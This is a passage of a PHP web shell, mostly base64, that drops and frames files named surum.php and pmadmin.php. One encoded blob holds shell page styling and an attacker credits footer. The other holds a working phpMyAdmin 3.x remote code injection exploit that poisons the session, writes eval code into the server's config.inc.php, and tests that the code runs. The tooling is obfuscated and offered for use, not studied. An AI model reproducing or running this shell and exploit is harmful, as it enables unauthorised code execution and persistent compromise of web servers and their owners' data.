YldFN0NpQWdJQ0JqYjJ4dmNqb2dJME5EUTBORFF6czdDaUFnSUNCOUNpQWdJQ0J6ZFdKdGFYUWdDaUFnSUNCN0NpQWdJQ0JDDQogICAgVDFKRVJWSTZJQ0F4Y0hnZ2IzVjBjMlYwSUdKMWRIUnZibWhwWjJoc2FXZG9kRHNLSUNBZ0lFSkJRMHRIVWs5VlRrUXRRMDlNVDFJNg0KICAgIElDTXlOekkzTWpjN0NpQWdJQ0IzYVdSMGFEb2dOREFsT3dvZ0lDQWdZMjlzYjNJNklDTmpZMk5qWTJNN0NpQWdJQ0I5Q2lBZ0lDQjANCiAgICBaWGgwWVhKbFlTQUtJQ0FnSUhzS0lDQWdJRUpQVWtSRlVpMVNTVWRJVkRvZ0lDTm1abVptWm1ZZ01YQjRJSE52Ykdsa093b2dJQ0FnDQogICAgUWs5U1JFVlNMVlJQVURvZ0lDQWdJems1T1RrNU9TQXhjSGdnYzI5c2FXUTdDaUFnSUNCQ1QxSkVSVkl0VEVWR1ZEb2dJQ0FqT1RrNQ0KICAgIE9UazVJREZ3ZUNCemIyeHBaRHNLSUNBZ0lFSlBVa1JGVWkxQ1QxUlVUMDA2SUNObVptWm1abVlnTVhCNElITnZiR2xrT3dvZ0lDQWcNCiAgICBRa0ZEUzBkU1QxVk9SQzFEVDB4UFVqb2dJek16TXpNek16c0tJQ0FnSUdOdmJHOXlPaUFqWm1abVptWm1Pd29nSUNBZ2ZRb2dJQ0FnDQogICAgUVRwc2FXNXJJSHREVDB4UFVqb2lMaVJ6YUROc2JFTnZiRzl5TGlJN0lGUkZXRlF0UkVWRFQxSkJWRWxQVGpvZ2JtOXVaWDBLSUNBZw0KICAgIElFRTZkbWx6YVhSbFpDQjdJRU5QVEU5U09pSXVKSE5vTTJ4c1EyOXNiM0l1SWpzZ1ZFVllWQzFFUlVOUFVrRlVTVTlPT2lCdWIyNWwNCiAgICBmUW9nSUNBZ1FUcGhZM1JwZG1VZ2UwTlBURTlTT2lJdUpITm9NMnhzUTI5c2IzSXVJanNnVkVWWVZDMUVSVU5QVWtGVVNVOU9PaUJ1DQogICAgYjI1bGZRb2dJQ0FnUVRwb2IzWmxjaUI3WTI5c2IzSTZZbXgxWlR0VVJWaFVMVVJGUTA5U1FWUkpUMDQ2SUc1dmJtVjlDaUFnSUNBOA0KICAgIEwzTjBlV3hsUGlJN0NpQWdJQ0J5WlhSMWNtNGdKR056Y3pzS2ZRcG1kVzVqZEdsdmJpQm1iMjkwWlhJb0tRcDdDaUFnSUNCbFkyaHYNCiAgICBJQ2NLUEdobFlXUStDanh0WlhSaElHaDBkSEF0WlhGMWFYWTlJa052Ym5SbGJuUXRUR0Z1WjNWaFoyVWlJR052Ym5SbGJuUTlJbVZ1DQogICAgTFhWeklqNEtQQzlvWldGa1BnbzhabTl1ZENCamIyeHZjajBpSXpBd01EQXdNQ0krQ2p4d0lHRnNhV2R1UFNKalpXNTBaWElpUGp4bQ0KICAgIGIyNTBJR1poWTJVOUlsUmhhRzl0WVNJZ2MybDZaVDBpTVNJK1l6QmtNMlFnUW5rZ1ZHZ3pJRTFOUVNBbVlXMXdPd284WVNCb2NtVm0NCiAgICBQU0p0WVdsc2RHODZhVEI0TUVCb2IzUnRZV2xzTG1OdmJTSStSSEl1VTJ4cFRHNVVJRWhwYkV3OEwyRStJQ1poYlhBN0NqeGhJR2h5DQogICAgWldZOUltMWhhV3gwYnpwdE0yZHZOREF6UUdkdFlXbHNMbU52YlNJK2JVVm5NRHd2WVQ0Z1BDOW1iMjUwUGp3dmNENEtQSEFnWVd4cA0KICAgIFoyNDlJbU5sYm5SbGNpSStQR1p2Ym5RZ1ptRmpaVDBpVkdGb2IyMWhJaUJ6YVhwbFBTSXhJajQ4ZFQ0OFptOXVkQ0JqYjJ4dmNqMGkNCiAgICBJMFpHTURBd01DSStSM0psWlZSY0ozb0tQQzltYjI1MFBqd3ZkVDQ2SUVFdFMybHNiRE55WENkNklDWnNkRHNnT0NCTlQwNGdJU0FzDQogICAgSUZONUlFVm5JRVI2SUhCc0lHTXdaRE55WENkNkptNWljM0E3SUR3dlptOXVkRDQ4TDNBK0NqeHdJR0ZzYVdkdVBTSmpaVzUwWlhJaQ0KICAgIFBqeG1iMjUwSUdaaFkyVTlJbFJoYUc5dFlTSWdjMmw2WlQwaU1TSStQSFUrUEdadmJuUWdZMjlzYjNJOUlpTkdSakF3TURBaVBrWnMNCiAgICBlU0FLYzJnd2RGd25land2Wm05dWRENDhMM1UrSURvZ1UzbHlhV0Z1SURNMFJ6RXpJQ1pzZERzZ1RYa2dRblZzYkhOb2FYUWdRbkp2DQogICAgSUN3Z1RYSXVRbXhoWTJzZ0xDQllMVTFoYWlGRUlDd2dZakI0SUNac2REc2dDalZoYjJFZ1RXbHVaQ0FzSUZndFUyaGhaRzkzSUN3Zw0KICAgIFRXRXpjMVJ5TUMxRWVpQW1iSFE3TXlBc0lFeGhaM0pwY0dVdFJIb2dMQ0JxU0MxVVpXRnRJQ3dnUEM5bWIyNTBQand2Y0Q0S1BIQWcNCiAgICBZV3hwWjI0OUltTmxiblJsY2lJK1BHWnZiblFnWm1GalpUMGlWR0ZvYjIxaElpQnphWHBsUFNJeElqNVVhRE1nVFUxQkxpODhMMlp2DQogICAgYm5RK1BDOXdQZ284TDJadmJuUStDand2YUhSdGJENEtJQ0FnSUNjN0NuMEtablZ1WTNScGIyNGdabWxzZEdWeUtDUnpkSEpwYm1jcA0KICAgIENuc0tJQ0FnSUdsbUtHZGxkRjl0WVdkcFkxOXhkVzkwWlhOZlozQmpLQ2tnSVQwZ01DbDdjbVYwZFhKdUlITjBjbWx3YzJ4aGMyaGwNCiAgICBjeWdrYzNSeWFXNW5LVHNnSUNBZ2ZRb2dJQ0FnWld4elpYdHlaWFIxY200Z0pITjBjbWx1WnpzZ0lDQWdmUXA5Q2dwbWIyOTBaWElvDQogICAgS1RzS0x5bzlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFh3S0lDQWdJQ0FnSUNBZw0KICAgIElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUh3Z0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWcNCiAgICBJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZkFvaklDQWdJQ0FnSUNBZ0lDQWdJREl3TVRFdk1UVXZNVEV2SUNBZ0lDQWdJQ0FnDQogICAgSUNBZ0lDQWdJQ0FnZkFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZkFvag0KICAgIElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUZSb015Qk5UVUVnSUh3S1BUMDlQVDA5UFQwOVBUMDkNCiAgICBQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5S2k4S1B6ND0nOw0KICAgICANCiAgICAkZmlsZSA9IGZvcGVuKCJzdXJ1bS5waHAiICwidysiKTsNCiAgICAkd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRhc2RhcykpOw0KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgICAgZWNobyAiPGlmcmFtZSBzcmM9c3VydW0ucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTY0MCBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOw0KICAgID8+DQogICAgPD8NCiAgICAgDQogICAgICAgfQ0KICAgICAgICBpZiggJHJlZCA9PSAicG1hIiApIHsNCiAgICAgDQogICAgPz4NCiAgICA8Pw0KICAgICRhc2RhczEgPSAnUEVKUFJGa2dUMjVMWlhsUWNtVnpjejBpUjJWMFMyVjVRMjlrWlNncE95SWdkR1Y0ZEQxeVpXUWdZbTkwZEc5dFRXRnlaMmx1UFRBZw0KICAgIFltZERiMnh2Y2owak1EQXdNREF3SUd4bFpuUk5ZWEpuYVc0OU1DQjBiM0JOWVhKbmFXNDlNQ0J5YVdkb2RFMWhjbWRwYmowd0lHMWgNCiAgICBjbWRwYm1obGFXZG9kRDB3SUcxaGNtZHBibmRwWkhSb1BUQStDancvY0dod0lDOHFDaU1nUlhod2JHOXBkQ0JVYVhSc1pUb2djR2h3DQogICAgVFhsQlpHMXBiaUF6TG5nZ1UzZGxhMlY1SUZKbGJXOTBaU0JEYjJSbElFbHVhbVZqZEdsdmJpQkZlSEJzYjJsMENpTWdSR0YwWlRvZw0KICAgIE1qQXhNUzB3Tnkwd09Rb2pJRUYxZEdodmNqb2dUV0Z1WjI4Z2IyWWdhR0V1ZUhodmNpNXpaUW9qSUZabGNuTnBiMjQ2SUhCb2NFMTUNCiAgICBRV1J0YVc0Z1BDQXpMak11TVRBdU1pQjhmQ0J3YUhCTmVVRmtiV2x1SUR3Z015NDBMak11TVFvaklFTldSU0E2SUVOV1JTMHlNREV4DQogICAgTFRJMU1EVXNJRU5XUlMweU1ERXhMVEkxTURZS0l5QkJaSFpwYzI5eWVUb2dhSFIwY0RvdkwzZDNkeTU0ZUc5eUxuTmxMMkZrZG1seg0KICAgIGIzSnBaWE12Y0dod1RYbEJaRzFwYmw4ekxuaGZUWFZzZEdsd2JHVmZVbVZ0YjNSbFgwTnZaR1ZmUlhobFkzVjBhVzl1Y3k1MGVIUUsNCiAgICBJeUJFWlhSaGFXeHpPaUJvZEhSd09pOHZhR0V1ZUhodmNpNXpaUzh5TURFeEx6QTNMM0JvY0cxNVlXUnRhVzR0TTNndGJYVnNkR2x3DQogICAgYkdVdGNtVnRiM1JsTFdOdlpHVXVhSFJ0YkFvcUx3cGxZMmh2SUhCb2NGOXpZWEJwWDI1aGJXVW9LU0U5UFNkamJHa25QeWM4Y0hKbA0KICAgIFBpYzZKeWM3UHo0S0lDQWdJQ0FnSUNBZ0lDQWdJQ0F1Q2lBZ0lDQWdJQ0FzSUNBZ0lDQWdLVndnSUNBZ0lDNEtJQ0F1SUNBc0x5a2cNCiAgICBJQ0FzSUM4Z0lDa2dMQ0FnS1Z3S0lDQXBYQ2dnSUM4cEx5Z2dLRjlmS0NBdktDQXZJQ0FwSUNBZ0lDQWdJQ0FnSUY5ZklDQWdJQ0FnDQogICAgWDE4Z0lDQWdJQ0FnSUNBZ0lDQWdJRjlmWDE5ZlgxOWZJQ0FnSUNBZ0lDQmZYeUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWDE4Sw0KICAgIElDOGdJRndnSUNnZ0lDQXBmQ0FnZkNrZ0lGd2dJQzhnSUNBZ0lDQWdJQ0FnZkNBZ2ZGd2dJQzk4SUNCOElDQWdJQ0FnSUNBZ0lDQWcNCiAgICBmQ0FnZkNBZ2ZDQWdmQ0FnSUNBZ0lId2dJSHdnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FvWDE4cENpZ2dJRjlmWDE5Zlh5QXZJSHdnDQogICAgSUh4ZlgxOWZYeWdnSUY5ZlgxOWZYeUFnSUh3Z0lId2dYQzhnZkNBZ2ZDQWdYMThnSUNBZ1gxOGdJSHdnSUh4Zlgzd2dJSHdnSUNCZg0KICAgIFgxOThJQ0I4SUNCZlh5QmZYMTlmWDE5ZlgxOWZYeUFnSUY5ZklDQWdYMThnWDE5ZlgxOEtJRng4SUNCOElGd2dJRndnZkNBZ2ZDQWcNCiAgICBmQ0FnZkNsOElDQjhJRndnSUZ3Z2ZDQWdmQ0FnSUNCOElDQjhJSHdnSUh3Z0lId2dJSHdnZkNBZ2ZDQWdmQ0FnZkNBdklDQXZJSHdnDQogICAgSUh3Z2ZDQWdmQ0FnZkNBZ2ZDQWdmQ0FnZkNCOElDQjhJSHdnSUh3Z0lId2dJSHdLSUNCOElDQjhYeTlmWHk4Z2ZGOWZmQ0FnZkY5Zg0KICAgIGZDQjhJQ0I4WHk5Zlh5OGdmRjlmZkNBZ0lDQjhYMTk4SUh4ZlgzeGZYM3dnSUh3Z2ZGOWZmQ0JiWFZ0ZGZGdGRYMTliWFh4YlhWdGQNCiAgICBmRjliWFNBZ2ZGOWJYVnRkZkY5YlhTQmJYVnRkVzExZlgzd2dJSHhmWDN3S1BUMThYMTk4UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDE4DQogICAgWDE5OFBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFh4ZlgzdzlQVDA5UFQxYlhUMDlQVDFiWFZ0ZFBYeGJYWHhiWFQxYg0KICAgIFhUMDlQVnRkUFQxYlhUMWJYVDA5UFZ0ZFBUMDlQVDA5UFQwOVBUMDlQVDBnSUNBS0lDQWdjR2h3VFhsQlpHMXBiaUE4SURNdU15NHgNCiAgICBNQzR5SUh4OElIQm9jRTE1UVdSdGFXNGdQQ0F6TGpRdU15NHhJQ0FnSUNBZ0lDQWdJQ0FnSUNCYlhWdGRJQ0FnVzEwZ0lDQmJYVnRkDQogICAgSUNCYlhTQWdJRnRkSUNCYlhTQmJYU0FnSUZ0ZENpQWdJRkpsYlc5MFpTQkRiMlJsSUVsdWFtVmpkR2x2YmlBZ0lDQWdJQ0FnSUNBZw0KICAgIElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1cxMGdJQ0FnVzExYlhTQWdXMTBnSUNBZ1cxMGdJQ0JiWFNBZ1cxMGcNCiAgICBXMTBnSUNCYlhRb2dJQ0JvZEhSd09pOHZhR0V1ZUhodmNpNXpaU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnDQogICAgSUNBZ0lDQWdJQ0FnSUNBZ0lGdGRXMTBnVzEwZ0lGdGRJRnRkSUNBZ0lGdGRXMTBnSUZ0ZFcxMGdJRnRkSUNBZ1cxMEtJQ0FnSUNCZg0KICAgIElDQWdYeUFnWDE5ZklGOWZJRjlmWDE4Z1gxOGdYMTlmSUNCZlgxOGdJQ0FnSUNBS0lDQWdJSHdnZkMxOElIeDhJRjhnZkZ3Z0lDQXYNCiAgICBYQ0FnSUM5OElGOGdmSHdnSUNBcElDQWdJQ0FLSUNBZ0lIeGZmQzE4WDN4OFgzeGZmQzlmTGw5Y0wxOHVYMXg4WDE5ZmZIeGZmRjljDQogICAgSUNBZ0lDQUtJQ0JmWDE4Z0lGOWZYeUFnWDE5ZklGOGdJRjhnSUY5Zlh5QWdJQ0FnWDE5ZklGOWZJRjlmSUFvZ0tDQWdQQ0I4SUZ0Zg0KICAgIElDOGdJQzk4SUh4OElIeDhJQ0FnS1NoZktYd2dJQ0I4WENCOElDOEtJQ0ErWDE4cGZGOWJYeUJjWDE5Y2ZGOWZYMTk4ZkY5OFgxeDgNCiAgICBYM3dnZkY5OElDQjhYM3dLSUFwVmMyVWdjbVZ6Y0c5dWMybGliSGt1Q2lBS1BEOXdhSEFnWldOb2J5QndhSEJmYzJGd2FWOXVZVzFsDQogICAgS0NraFBUMG5ZMnhwSno4blBDOXdjbVUrSnpvbkp6c0tJQXBwWmlod2FIQmZjMkZ3YVY5dVlXMWxLQ2s5UFQwblkyeHBKeWw3Q2lBZw0KICAgIElDQnBaaWdoYVhOelpYUW9KR0Z5WjNaYk1WMHBLWHNLSUNBZ0lDQWdJQ0J2ZFhSd2RYUW9JaUFnSUZWellXZGxYRzRnSUNBZ0lpNGsNCiAgICBZWEpuZGxzd1hTNGlJR2gwZEhBNkx5OWxlR0Z0Y0d4bExtTnZiUzl3YUhCTmVVRmtiV2x1TFRNdU15NDVMaklpS1RzS0lDQWdJQ0FnDQogICAgSUNCcmFXeHNiV1VvS1RzS0lDQWdJSDBLSUNBZ0lDUndiV0YxY213Z1BTQWtZWEpuZGxzeFhUc0tmV1ZzYzJWN0NpQWdJQ0FrY0cxaA0KICAgIGRYSnNJRDBnYVhOelpYUW9KRjlTUlZGVlJWTlVXeWQxY213blhTay9KRjlTUlZGVlJWTlVXeWQxY213blhUb25KenNLZlFva1kyOWsNCiAgICBaU0FnSUQwZ0oyWnZjbVZoWTJnb0pGOUhSVlFnWVhNZ0pHczlQaVIyS1dsbUtDUnJQVDA5SW1WMllXd2lLV1YyWVd3b0pIWXBPeWM3DQogICAgQ2lSamIyOXJhV1VnUFNCdWRXeHNPd29rZEc5clpXNGdJRDBnYm5Wc2JEc0thV1lvSVdaMWJtTjBhVzl1WDJWNGFYTjBjeWduWTNWeQ0KICAgIGJGOXBibWwwSnlrcGV3b2dJQ0FnYjNWMGNIVjBLQ2RiSVYwZ1JtRjBZV3dnWlhKeWIzSXVJRTVsWldRZ1kxVlNUQ0VuS1RzS0lDQWcNCiAgICBJR3RwYkd4dFpTZ3BPd3A5Q2lSamFDQWdJQ0FnUFNCamRYSnNYMmx1YVhRb0tUc0tKR1JsWW5WbklDQTlJREE3Q21sbUtIQm9jRjl6DQogICAgWVhCcFgyNWhiV1VvS1NFOVBTZGpiR2tuS1hzS1B6NEtQR1p2Y20wZ2JXVjBhRzlrUFhCdmMzUStDbFZTVERvZ1BHbHVjSFYwSUc1aA0KICAgIGJXVTlkWEpzSUhaaGJIVmxQU0k4UDNCb2NDQmxZMmh2SUdoMGJXeHpjR1ZqYVdGc1kyaGhjbk1vSkhCdFlYVnliQ2s3UHo0aVBpQkYNCiAgICBlR0Z0Y0d4bE9pQm9kSFJ3T2k4dmJHOWpZV3hvYjNOME9qZ3dPREF2Y0dod1RYbEJaRzFwYmkwekxqTXVPUzR5UEdKeUx6NEtQR2x1DQogICAgY0hWMElHNWhiV1U5YzNWaWJXbDBJSFI1Y0dVOWMzVmliV2wwSUhaaGJIVmxQU1lqT1RneU9UcytDand2Wm05eWJUNEtQSEJ5WlQ0Sw0KICAgIFBEOXdhSEFLYVdZb0lXbHpjMlYwS0NSZlVrVlJWVVZUVkZzbmMzVmliV2wwSjEwcEtXdHBiR3h0WlNoMGNuVmxLVHNLZlFvZ0NtOTENCiAgICBkSEIxZENnaVcybGRJRkoxYm01cGJtY3VMaTRpS1RzS0lBb3ZMeUJUZEdGeWRDQmhJSE5sYzNOcGIyNGdZVzVrSUdkbGRDQmhJSFJ2DQogICAgYTJWdUNtTjFjbXhmYzJWMGIzQjBYMkZ5Y21GNUtDUmphQ3dnWVhKeVlYa29DaUFnSUNCRFZWSk1UMUJVWDFWU1RDQTlQaUFrY0cxaA0KICAgIGRYSnNMaWN2YzJWMGRYQXZhVzVrWlhndWNHaHdKeXdLSUNBZ0lFTlZVa3hQVUZSZlNFVkJSRVZTSUQwK0lERXNDaUFnSUNCRFZWSk0NCiAgICBUMUJVWDFKRlZGVlNUbFJTUVU1VFJrVlNJRDArSURFc0NpQWdJQ0JEVlZKTVQxQlVYMVJKVFVWUFZWUWdQVDRnTkN3S0lDQWdJRU5WDQogICAgVWt4UFVGUmZVMU5NWDFaRlVrbEdXVkJGUlZJZ1BUNGdabUZzYzJVc0NpQWdJQ0JEVlZKTVQxQlVYMU5UVEY5V1JWSkpSbGxJVDFOVQ0KICAgIElEMCtJR1poYkhObENpa3BPd3B2ZFhSd2RYUW9JbHNxWFNCRGIyNTBZV04wYVc1bklITmxjblpsY2lCMGJ5QnlaWFJ5YVhabElITmwNCiAgICBjM05wYjI0Z1kyOXZhMmxsSUdGdVpDQjBiMnRsYmk0aUtUc0tJQW9rY21WemRXeDBJRDBnWTNWeWJGOWxlR1ZqS0NSamFDazdDbWxtDQogICAgS0RRd05DQTlQU0JqZFhKc1gyZGxkR2x1Wm04b0pHTm9MQ0JEVlZKTVNVNUdUMTlJVkZSUVgwTlBSRVVwS1hzS0lDQWdJRzkxZEhCMQ0KICAgIGRDZ2lXeUZkSUVaaGFXd3VJQ1J3YldGMWNtd3ZjMlYwZFhBdmFXNWtaWGd1Y0dod0lISmxkSFZ5Ym1Wa0lEUXdOQzRnVkdobElHaHYNCiAgICBjM1FnYVhNZ2JtOTBJSFoxYkc1bGNtRmliR1VnYjNJZ2RHaGxjbVVnYVhNZ1lTQndjbTlpYkdWdElIZHBkR2dnZEdobElITjFjSEJzDQogICAgYVdWa0lIVnliQzRpS1RzS0lDQWdJR3RwYkd4dFpTZ3BPd3A5Q21sbUtDRWtjbVZ6ZFd4MEtYc0tJQ0FnSUc5MWRIQjFkQ2dpV3lGZA0KICAgIElHTlZVa3dnWlhKeWIzSTZJaTVqZFhKc1gyVnljbTl5S0NSamFDa3BPd29nSUNBZ2EybHNiRzFsS0NrN0NuMEthV1lvWm1Gc2MyVWcNCiAgICBJVDA5SUhOMGNuQnZjeWdrY21WemRXeDBMQ0FuUTJGdWJtOTBJR3h2WVdRZ2IzSWdjMkYyWlNCamIyNW1hV2QxY21GMGFXOXVKeWtwDQogICAgZXdvZ0lDQWdiM1YwY0hWMEtDSmJJVjBnUm1GcGJDNGdTRzl6ZENCdWIzUWdkblZzYm1WeVlXSnNaUzRnVjJWaUlITmxjblpsY2lCMw0KICAgIGNtbDBZV0pzWlNCbWIyeGtaWElnSkhCdFlYVnliQzlqYjI1bWFXY3ZJR1J2WlhNZ2JtOTBJR1Y0YzJsemRDNGlLVHNLSUNBZ0lHdHANCiAgICBiR3h0WlNncE93cDlDaUFLTHk4Z1JYaDBjbUZqZENCamIyOXJhV1VLY0hKbFoxOXRZWFJqYUNnbkwzQm9jRTE1UVdSdGFXNDlLRnRlDQogICAgTzEwcktTOG5MQ0FrY21WemRXeDBMQ0FrYldGMFkyaGxjeWs3Q2lSamIyOXJhV1VnUFNBa2JXRjBZMmhsYzFzeFhUc0tiM1YwY0hWMA0KICAgIEtDSmJhVjBnUTI5dmEybGxPaUl1SkdOdmIydHBaU2s3Q2k4dklFVjRkSEpoWTNRZ2RHOXJaVzRLY0hKbFoxOXRZWFJqYUNnbkx5aDANCiAgICBiMnRsYmoxOGRHOXJaVzRpSUhaaGJIVmxQU0lwS0Zzd0xUbGhMV1pkZXpNeWZTa3ZKeXdnSkhKbGMzVnNkQ3dnSkcxaGRHTm9aWE1wDQogICAgT3dva2RHOXJaVzRnUFNBa2JXRjBZMmhsYzFzeVhUc0tiM1YwY0hWMEtDSmJhVjBnVkc5clpXNDZJaTRrZEc5clpXNHBPd29nQ2k4dg0KICAgIElGQnZhWE52YmlCZlUwVlRVMGxQVGlCMllYSnBZV0pzWlFwamRYSnNYM05sZEc5d2RDZ2tZMmdzSUVOVlVreFBVRlJmVlZKTUxDQWsNCiAgICBjRzFoZFhKc0xpY3ZQMTlUUlZOVFNVOU9XME52Ym1acFowWnBiR1ZkVzFObGNuWmxjbk5kV3lvdkp5NTFjbXhsYm1OdlpHVW9KR052DQogICAgWkdVcExpY3ZLbDFiY0c5eWRGMDlNQ1p6WlhOemFXOXVYM1J2WDNWdWMyVjBQWGdtZEc5clpXNDlKeTRrZEc5clpXNHBPd3BqZFhKcw0KICAgIFgzTmxkRzl3ZENna1kyZ3NJRU5WVWt4UFVGUmZRMDlQUzBsRkxDQW5jR2h3VFhsQlpHMXBiajBuTGlSamIyOXJhV1VwT3dwdmRYUncNCiAgICBkWFFvSWxzcVhTQkRiMjUwWVdOMGFXNW5JSE5sY25abGNpQjBieUJwYm1wbFkzUWdZMjlrWlNCcGJuUnZJSFJvWlNCZlUwVlRVMGxQDQogICAgVGx0RGIyNW1hV2RHYVd4bFhWdFRaWEoyWlhKelhTQmhjbkpoZVM0aUtUc0thV1lvSVNSeVpYTjFiSFFnUFNCamRYSnNYMlY0WldNbw0KICAgIEpHTm9LU2w3Q2lBZ0lDQnZkWFJ3ZFhRb0lsc2hYU0JqVlZKTUlHVnljbTl5T2lJdVkzVnliRjlsY25KdmNpZ2tZMmdwS1RzS0lDQWcNCiAgICBJR3RwYkd4dFpTZ3BPd3A5Q2lBS0x5OWxZMmh2SUdoMGJXeHpjR1ZqYVdGc1kyaGhjbk1vSkhKbGMzVnNkQ3hGVGxSZlVWVlBWRVZUDQogICAgS1RzS0lBb3ZMeUJUWVhabElHWnBiR1VLWTNWeWJGOXpaWFJ2Y0hRb0pHTm9MQ0JEVlZKTVQxQlVYMVZTVEN3Z0pIQnRZWFZ5YkM0bg0KICAgIEwzTmxkSFZ3TDJOdmJtWnBaeTV3YUhBbktUc0tZM1Z5YkY5elpYUnZjSFFvSkdOb0xDQkRWVkpNVDFCVVgxQlBVMVFzSURFcE93cGoNCiAgICBkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlVFOVRWRVpKUlV4RVV5d2dKM04xWW0xcGRGOXpZWFpsUFZOaGRtVW1kRzlyDQogICAgWlc0OUp5NGtkRzlyWlc0cE93cHZkWFJ3ZFhRb0lsc3FYU0JEYjI1MFlXTjBhVzVuSUhObGNuWmxjaUIwYnlCdFlXdGxJR2wwSUhOaA0KICAgIGRtVWdkR2hsSUdsdWFtVmpkR1ZrSUdOdlpHVWdkRzhnWVNCbWFXeGxMaUlwT3dwcFppZ2hKSEpsYzNWc2RDQTlJR04xY214ZlpYaGwNCiAgICBZeWdrWTJncEtYc0tJQ0FnSUc5MWRIQjFkQ2dpV3lGZElHTlZVa3dnWlhKeWIzSTZJaTVqZFhKc1gyVnljbTl5S0NSamFDa3BPd29nDQogICAgSUNBZ2EybHNiRzFsS0NrN0NuMEtJQW92TDJWamFHOGdhSFJ0YkhOd1pXTnBZV3hqYUdGeWN5Z2tjbVZ6ZFd4MExFVk9WRjlSVlU5VQ0KICAgIFJWTXBPd29nQ21OMWNteGZjMlYwYjNCMEtDUmphQ3dnUTFWU1RFOVFWRjlWVWt3c0lDUndiV0YxY213dUp5OWpiMjVtYVdjdlkyOXUNCiAgICBabWxuTG1sdVl5NXdhSEEvWlhaaGJEMWxZMmh2SlRJd2JXUTFLREV5TXlrN0p5azdDbU4xY214ZmMyVjBiM0IwS0NSamFDd2dRMVZTDQogICAgVEU5UVZGOVFUMU5VTENBd0tUc0tiM1YwY0hWMEtDSmJLbDBnUTI5dWRHRmpkR2x1WnlCelpYSjJaWElnZEc4Z2RHVnpkQ0JwWmlCMA0KICAgIGFHVWdhVzVxWldOMFpXUWdZMjlrWlNCbGVHVmpkWFJsY3k0aUtUc0thV1lvSVNSeVpYTjFiSFFnUFNCamRYSnNYMlY0WldNb0pHTm8NCiAgICBLU2w3Q2lBZ0lDQnZkWFJ3ZFhRb0lsc2hYU0JqVlZKTUlHVnljbTl5T2lJdVkzVnliRjlsY25KdmNpZ2tZMmdwS1RzS0lDQWdJR3RwDQogICAgYkd4dFpTZ3BPd3A5Q21sbUtIQnlaV2RmYldGMFkyZ29KeTh5TURKallqazJNbUZqTlRrd056VmlPVFkwWWpBM01UVXlaREl6TkdJMw0KICAgIE1DOG5MQ0FrY21WemRXeDBLU2w3Q2lBZ0lDQnZkWFJ3ZFhRb0lsc2hYU0JEYjJSbElHbHVhbVZqZEdsdmJpQnpkV05qWlhOelpuVnMNCiAgICBiQzRnVkdocGN5QnBibk4wWVc1alpTQnZaaUJ3YUhCTmVVRmtiV2x1SUdseklIWjFiRzVsY21GaWJHVWhJaWs3Q2lBZ0lDQnZkWFJ3DQogICAgZFhRb0lsc3JYU0JWYzJVZ2VXOTFjaUJpY205M2MyVnlJSFJ2SUdWNFpXTjFkR1VnVUVoUUlHTnZaR1VnYkdsclpTQjBhR2x6SUNSdw0KICAgIGJXRjFjbXd2WTI5dVptbG5MMk52Ym1acFp5NXBibU11Y0dod1AyVjJZV3c5WldOb2J5VXlNQ2QwWlhOMEp6c2lLVHNLZldWc2MyVjcNCiAgICBDaUFnSUNCdmRYUndkWFFvSWxzaFhTQkRiMlJsSUdsdWFtVmpkR2x2YmlCbVlXbHNaV1F1SUZSb2FYTWdhVzV6ZEdGdVkyVWdiMllnDQogICAgY0dod1RYbEJaRzFwYmlCa2IyVnpJRzV2ZENCaGNHVmhjaUIwYnlCaVpTQjJkV3h1WlhKaFlteGxMaUlwT3dwOUNpQUtJQXBqZFhKcw0KICAgIFgyTnNiM05sS0NSamFDazdDaUFLWm5WdVkzUnBiMjRnYjNWMGNIVjBLQ1J0YzJjcGV3b2dJQ0FnWldOb2J5QndhSEJmYzJGd2FWOXUNCiAgICBZVzFsS0NraFBUMG5ZMnhwSno5b2RHMXNjM0JsWTJsaGJHTm9ZWEp6S0NJa2JYTm5YRzRpTEVWT1ZGOVJWVTlVUlZNcE9pSWtiWE5uDQogICAgWEc0aU93b2dJQ0FnWm14MWMyZ29LVHNLZlFvZ0NtWjFibU4wYVc5dUlHdHBiR3h0WlNncGV3b2dJQ0FnYjNWMGNIVjBLQ0piS2wwZw0KICAgIFJYaHBkR2x1Wnk0dUxpSXBPd29nSUNBZ1pXTm9ieUJ3YUhCZmMyRndhVjl1WVcxbEtDa2hQVDBuWTJ4cEp6OG5QSEJ5WlQ0bk9pY24NCiAgICBPd29nSUNBZ1pHbGxLQ2s3Q24wS0lBcGxZMmh2SUhCb2NGOXpZWEJwWDI1aGJXVW9LU0U5UFNkamJHa25QeWM4Y0hKbFBpYzZKeWM3DQogICAgUHo0PSc7DQogICAgIA0KICAgICRmaWxlID0gZm9wZW4oInBtYWRtaW4ucGhwIiAsIncrIik7DQogICAgJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkYXNkYXMxKSk7DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAgICBlY2hvICI8aWZyYW1lIHNyYz1wbWFkbWluLnBocCB3aWR0aD0xMDAlIGhlaWdodD02NDAgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsNCiAgICA/Pg0KICAgIDw/DQogICAgIA0KICAgICA